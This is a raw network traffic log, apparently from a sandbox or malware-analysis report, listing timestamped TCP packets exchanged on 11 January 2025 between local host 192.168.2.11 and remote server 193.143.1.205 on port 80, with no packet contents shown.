Jan 11, 2025 05:35:51.770461082 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770467997 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.770473003 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770483971 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.770484924 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.770518064 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.773925066 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.778187037 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.778199911 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.778212070 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.778243065 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.778269053 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.795209885 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.795252085 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.795268059 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.795283079 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.795300961 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.795303106 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.795332909 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.814332008 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.821719885 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.825851917 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.825870991 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.825885057 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.825911999 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.825931072 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.829251051 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.857147932 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857273102 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857285023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857296944 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857309103 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857321024 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857332945 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857333899 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.857345104 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857399940 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.857419968 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.857420921 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857434988 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857449055 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857470989 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.857625961 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857637882 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857705116 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.857764959 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857775927 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.857830048 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.886986971 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887002945 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887118101 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887128115 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887192011 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887201071 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887214899 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887226105 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887248039 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887249947 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887263060 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887274027 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887285948 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887324095 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887345076 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887373924 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887403965 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887417078 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887434959 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887449026 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887459040 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887490988 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887552977 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887578011 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887617111 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887623072 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887635946 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887646914 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887675047 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887758970 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887772083 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887784958 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887797117 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887801886 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887830973 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887831926 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887842894 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887854099 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.887892008 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.887917042 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888012886 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888075113 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888086081 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888097048 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888119936 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888120890 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888133049 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888144016 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888186932 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888199091 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888199091 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888209105 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888258934 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888521910 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888533115 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888550043 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888562918 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888567924 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888571024 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888576031 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888583899 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888600111 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888642073 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888667107 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888689041 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888701916 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888712883 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888725042 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888730049 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888736963 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888750076 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888757944 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888761997 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888768911 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888791084 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888817072 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.888835907 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888849974 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.888884068 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892066956 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892079115 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892096043 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892138004 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892153978 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892167091 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892172098 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892188072 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892200947 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892215967 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892225981 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892241001 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892251015 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892254114 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892263889 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892277002 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892287970 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892302990 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892335892 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892362118 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892534018 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892577887 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892580032 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892605066 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892618895 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892631054 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892643929 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892668009 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892669916 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892680883 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892692089 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892724991 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892731905 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892738104 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892750025 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892765999 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892765999 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892779112 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.892796040 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.892821074 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.893117905 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893194914 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893208981 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893220901 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893233061 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893240929 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.893244982 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893260956 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.893287897 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.893295050 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893306971 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893317938 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893330097 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893345118 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893357038 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893363953 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.893397093 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.893626928 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893650055 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.893716097 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.899605989 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.916475058 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916486979 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916507006 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916529894 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916542053 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916553020 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916565895 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.916656971 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.916656971 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.923158884 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947154045 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947182894 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947196007 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947207928 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947212934 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947221041 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947233915 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947256088 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947290897 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947340965 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947354078 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947365999 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947377920 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947379112 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947391987 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947405100 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947417021 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947423935 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947427988 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947438002 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.947467089 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.947482109 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.961925983 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.977840900 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977858067 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977870941 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977883101 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977916002 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977926970 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977941036 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977952003 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.977953911 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977986097 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.977998018 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978008986 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978018999 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978038073 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978069067 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978106976 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978121996 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978135109 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978146076 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978156090 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978171110 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978187084 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978204012 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978225946 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978252888 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978265047 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978272915 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978297949 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978310108 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978317022 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978322983 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978337049 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978346109 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978375912 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978518963 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978537083 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978555918 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978566885 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978579044 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978589058 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978590012 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978602886 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978606939 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978621006 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978632927 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978642941 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978646040 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978657961 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978658915 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978668928 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978678942 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978681087 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978693008 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978703976 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978722095 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978724957 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978739023 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978749990 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978750944 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978764057 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978765965 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978775024 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978786945 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978800058 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978801012 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978813887 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978823900 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978825092 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978837013 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978840113 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978869915 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978904009 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978914976 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978924990 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978935957 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978948116 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978948116 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.978972912 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.978991985 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979001045 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979005098 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979017019 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979028940 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979036093 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979065895 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979085922 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979098082 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979108095 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979119062 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979123116 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979131937 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979151964 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979269981 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979280949 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979290962 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979304075 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979322910 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979327917 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979340076 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979341030 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979352951 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979365110 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979392052 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979407072 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979419947 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979435921 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979446888 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979459047 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979470015 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979479074 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979518890 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979605913 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979618073 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979628086 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979636908 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979639053 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979650974 CET	80	49713	193.143.1.205	192.168.2.11
Jan 11, 2025 05:35:51.979662895 CET	49713	80	192.168.2.11	193.143.1.205
Jan 11, 2025 05:35:51.979665995 CET	80	49713	193.143.1.205	192.168.2.11
